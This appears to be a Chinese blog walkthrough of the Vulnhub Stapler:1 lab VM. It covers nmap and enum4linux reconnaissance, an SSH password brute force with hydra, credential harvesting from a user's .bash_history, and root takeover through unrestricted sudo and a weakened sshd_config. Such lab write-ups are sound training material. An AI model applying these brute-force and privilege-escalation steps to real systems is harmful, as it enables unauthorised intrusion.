【Vulnhub通关】Stapler:1


准备工作

靶机基本信息

靶机名称:Stapler

操作系统:Linux

虚拟机软件:VMware Workstation

网络连接方式:桥接至物理网络(请手动设置!!)

渗透测试目标:获取root权限与交互式Shell并读取Flag文件

下载地址:Stapler: 1 ~ VulnHub

环境配置

解压Stapler.zip文件之后,请先编辑Stapler.ovf虚拟机配置文件,将文件中所有的Caption字符串替换为ElementName,随后删除Stapler.mf文件 ,最后打开VMware Workstation导入虚拟机。


信息收集

主机发现

在Kali Linux中,使用netdiscover命令进行主机发现:

shell 复制代码
netdiscover -r 192.168.2.0/24

从中可以确定,网卡设备名为VMware, Inc.的机器即为靶机,IP地址为192.168.2.132

网络服务扫描

确定靶机IP地址之后,我们先使用nmap对靶机进行初步扫描,命令如下:

shell 复制代码
# -sS 使用TCP SYN半开扫描
nmap -sS -A -sV -p- 192.168.2.132

部分扫描结果截图:

从中我们可以获得如下信息:

端口 传输层协议 应用层协议 详细信息 状态
20 TCP FTP(Data) vsftpd 2.0.8 or later 关闭
21 TCP FTP(Command) vsftpd 2.0.8 or later 开启
22 TCP SSH OpenSSH 7.2p2 Ubuntu 4 (Ubuntu Linux; protocol 2.0) 开启
53 TCP DNS dnsmasq 2.75 开启
80 TCP HTTP PHP cli server 5.5 or later 开启
123 TCP NTP 关闭
137 138 TCP NetBIOS 关闭
139 TCP SMB Samba smbd 4.3.9-Ubuntu (workgroup: WORKGROUP) 开启
666 TCP 未知 开启
3306 TCP MySQL MySQL 5.7.12-0ubuntu1 开启
12380 TCP HTTP Apache httpd 2.4.18 ((Ubuntu)) 开启

同时得知靶机操作系统为Ubuntu Linux,内核版本未知。


服务探测

FTP服务(20、21端口)

根据nmap的扫描结果,靶机的FTP服务允许Anonymous用户登录,尝试一下:

发现登录时靶机的FTP服务返回了一条Banner信息,意思是叫靶机操作系统用户Harry 更新登录提示文本,这里先作为用户名敏感信息记录到新建的userlist文件中。

查看note文件,内容如下:

Text 复制代码
Elly, make sure you update the payload information. Leave it in your FTP account once your are done, John. 

又获得了两个用户名:EllyJohn

SMB服务(139端口)

对于SMB服务,我们首先使用enum4linux工具扫描一下:

shell 复制代码
enum4linux -a -o -M 192.168.2.132

部分扫描结果:

但重点在于获取到的 NetBIOS信息

共享文件夹列表

密码策略

以及用户名和组列表

Text 复制代码
[+] Enumerating users using SID S-1-22-1 and logon username '', password ''                                                                                                     
                                                                                                                                                                                
S-1-22-1-1000 Unix User\peter (Local User)                                                                                                                                      
S-1-22-1-1001 Unix User\RNunemaker (Local User)
S-1-22-1-1002 Unix User\ETollefson (Local User)
S-1-22-1-1003 Unix User\DSwanger (Local User)
S-1-22-1-1004 Unix User\AParnell (Local User)
S-1-22-1-1005 Unix User\SHayslett (Local User)
S-1-22-1-1006 Unix User\MBassin (Local User)
S-1-22-1-1007 Unix User\JBare (Local User)
S-1-22-1-1008 Unix User\LSolum (Local User)
S-1-22-1-1009 Unix User\IChadwick (Local User)
S-1-22-1-1010 Unix User\MFrei (Local User)
S-1-22-1-1011 Unix User\SStroud (Local User)
S-1-22-1-1012 Unix User\CCeaser (Local User)
S-1-22-1-1013 Unix User\JKanode (Local User)
S-1-22-1-1014 Unix User\CJoo (Local User)
S-1-22-1-1015 Unix User\Eeth (Local User)
S-1-22-1-1016 Unix User\LSolum2 (Local User)
S-1-22-1-1017 Unix User\JLipps (Local User)
S-1-22-1-1018 Unix User\jamie (Local User)
S-1-22-1-1019 Unix User\Sam (Local User)
S-1-22-1-1020 Unix User\Drew (Local User)
S-1-22-1-1021 Unix User\jess (Local User)
S-1-22-1-1022 Unix User\SHAY (Local User)
S-1-22-1-1023 Unix User\Taylor (Local User)
S-1-22-1-1024 Unix User\mel (Local User)
S-1-22-1-1025 Unix User\kai (Local User)
S-1-22-1-1026 Unix User\zoe (Local User)
S-1-22-1-1027 Unix User\NATHAN (Local User)
S-1-22-1-1028 Unix User\www (Local User)
S-1-22-1-1029 Unix User\elly (Local User)

[+] Enumerating users using SID S-1-5-32 and logon username '', password ''                                                                                                     
                                                                                                                                                                                
S-1-5-32-544 BUILTIN\Administrators (Local Group)                                                                                                                               
S-1-5-32-545 BUILTIN\Users (Local Group)
S-1-5-32-546 BUILTIN\Guests (Local Group)
S-1-5-32-547 BUILTIN\Power Users (Local Group)
S-1-5-32-548 BUILTIN\Account Operators (Local Group)
S-1-5-32-549 BUILTIN\Server Operators (Local Group)
S-1-5-32-550 BUILTIN\Print Operators (Local Group)

[+] Enumerating users using SID S-1-5-21-864226560-67800430-3082388513 and logon username '', password ''                                                                       
                                                                                                                                                                                
S-1-5-21-864226560-67800430-3082388513-501 RED\nobody (Local User)                                                                                                              
S-1-5-21-864226560-67800430-3082388513-513 RED\None (Domain Group)

把这些用户全部保存到userlist文件中。

随后尝试登录共享文件夹kathytmp,将里面的文件全部下载到本地:

shell 复制代码
smbclient //192.168.2.132/kathy
smbclient //192.168.2.132/tmp

(也可以通过Kali Linux自带的Thunar文件浏览器下载文件)

如图为靶机SMB服务里存储的文件,其中有2份纯文本文件,1份VSFTPd的配置文件,1份TAR格式的WordPress源代码压缩包。(靶机上可能有WordPress??)但除此之外没有任何其它的用户名信息。


渗透测试

SSH密码爆破

通过前面的服务信息收集,我们得到了一大串用户名信息:

在没有密码字典的情况下,我们可以使用hydra工具进行密码爆破。(用户名字典可以在加上一些参数之后当做密码字典使用

shell 复制代码
# -L         指定用户名字典
# -P         指定密码字典
# -e nsr     使用空密码、反转密码等爆破
hydra -L ./userlist -P ./userlist -e nsr ssh://192.168.2.132:22

如图,成功爆破出了SSH密码:

  • 用户名:SHayslett
  • 密码:SHayslett

尝试使用Termius登录:

成功!!!


权限提升

P.S. 下文所有成功登录的用户在登录之后原密码就被更改。

登录SHayslett用户之后,查看用户家目录下的文件,没有发现有效信息:

shell 复制代码
SHayslett@red:~$ ls -lA
total 20
-rw-r--r-- 1 root      root         5 Jun  5  2016 .bash_history
-rw-r--r-- 1 SHayslett SHayslett  220 Sep  1  2015 .bash_logout
-rw-r--r-- 1 SHayslett SHayslett 3771 Sep  1  2015 .bashrc
drwx------ 2 SHayslett SHayslett 4096 Nov  2 08:42 .cache
-rw-r--r-- 1 SHayslett SHayslett  675 Sep  1  2015 .profile

使用sudo -l命令,发现无法进行sudo提权:

shell 复制代码
SHayslett@red:~$ sudo -l

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

[sudo] password for SHayslett: *********
Sorry, user SHayslett may not run sudo on red.

查看进程,发现有一个名为JKanode的用户似乎在运行一些重要业务服务,推测该用户的权限较高

尝试切换用户:

shell 复制代码
SHayslett@red:~$ su JKanode
Password: *********
su: Authentication failure

切换不成功,转而尝试进入其家目录查看文件:

shell 复制代码
SHayslett@red:~$ cd /home/JKanode && ls -lA
total 16
-rw-r--r-- 1 JKanode JKanode  167 Jun  5  2016 .bash_history
-rw-r--r-- 1 JKanode JKanode  220 Sep  1  2015 .bash_logout
-rw-r--r-- 1 JKanode JKanode 3771 Sep  1  2015 .bashrc
-rw-r--r-- 1 JKanode JKanode  675 Sep  1  2015 .profile

查看.bash_history文件,发现如下关键内容:

经过验证,图中的用户名和密码都为正确信息:

  • 用户名:JKanode,密码:thisimypassword
  • 用户名:peter,密码:JZQuyIN5

尝试登录用户JKanode,成功:

尝试在该用户Shell上进行sudo提权,失败:

查看计划任务,一无所获:

Text 复制代码
JKanode@red:~$ crontab -l
no crontab for JKanode

再次尝试切换用户至Peter,登录成功,但发现有可能是一个Limited Shell

经过一番思索之后,决定按照说明进入命令界面,2使用操作系统管理员的配置

而且执行id命令之后,我居然发现peter用户在sudo组之内。(好好好,是是是)

执行sudo -l继续验证:

shell 复制代码
peter@red ~ % sudo -l

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

[sudo] password for peter: *********
Matching Defaults entries for peter on red:
    lecture=always, env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User peter may run the following commands on red:
    (ALL : ALL) ALL

好啊,很好,非常好。

直接提权加改root密码:

shell 复制代码
peter@red ~ % sudo passwd root
Enter new UNIX password: *********
Retype new UNIX password: *********
passwd: password updated successfully

Termius登录:

嗯??失败???

思前想后,密码是不可能出问题的,极有可能在SSH配置文件里有其它不必要的配置 ,登录Peter用户并提权查看/etc/ssh/sshd_config文件

果然!

直接删除最后一行内容,并修改以下配置项:

  1. PermitRootLogin:由without-password修改为yes
  2. StrictModes:由yes修改为no
  3. PubkeyAuthentication:由yes修改为no

重启SSH服务:

shell 复制代码
sudo systemctl restart sshd

再次尝试使用Termius连接root用户:

成功!!!


Flag信息公示

文件名:flag.txt
文件大小:463 B
MD5:8e386e344ca9e200a1182f0c97f5af58
SHA256:bb5ebb5bc41a960c6967fad55fedcdf97fe2f00887a6ffcbaa30091d856cee96

文件内容:

Test 复制代码
~~~~~~~~~~<(Congratulations)>~~~~~~~~~~
                          .-'''''-.
                          |'-----'|
                          |-.....-|
                          |       |
                          |       |
         _,._             |       |
    __.o`   o`"-.         |       |
 .-O o `"-.o   O )_,._    |       |
( o   O  o )--.-"`O   o"-.`'-----'`
 '--------'  (   o  O    o)  
              `----------`
b6b545dc11b7a270f4bad23432190c75162c4a2b

本次靶机渗透到此结束

相关推荐
jjyangyou1 分钟前
物联网核心安全系列——物联网安全需求
物联网·算法·安全·嵌入式·产品经理·硬件·产品设计
AltmanChan40 分钟前
大语言模型安全威胁
人工智能·安全·语言模型
马船长1 小时前
红帆OA iorepsavexml.aspx文件上传漏洞
安全
hikktn8 小时前
如何在 Rust 中实现内存安全:与 C/C++ 的对比分析
c语言·安全·rust
23zhgjx-NanKon10 小时前
华为eNSP:QinQ
网络·安全·华为
23zhgjx-NanKon10 小时前
华为eNSP:mux-vlan
网络·安全·华为
昔我往昔10 小时前
阿里云文本内容安全处理
安全·阿里云·云计算
棱角~~13 小时前
盘点和嗨格式一样好用的10款数据恢复!!
数据库·经验分享·安全·电脑·学习方法
NETFARMER运营坛14 小时前
如何优化 B2B 转化率?这些步骤你不可不知
大数据·安全·阿里云·ai·ai写作
安徽京准14 小时前
京准时钟:无人机卫星信号安全防护隔离装置
安全·无人机·信号安全防护装置·卫星安全隔离装置·北斗授时安全隔离·北斗对时防护隔离装置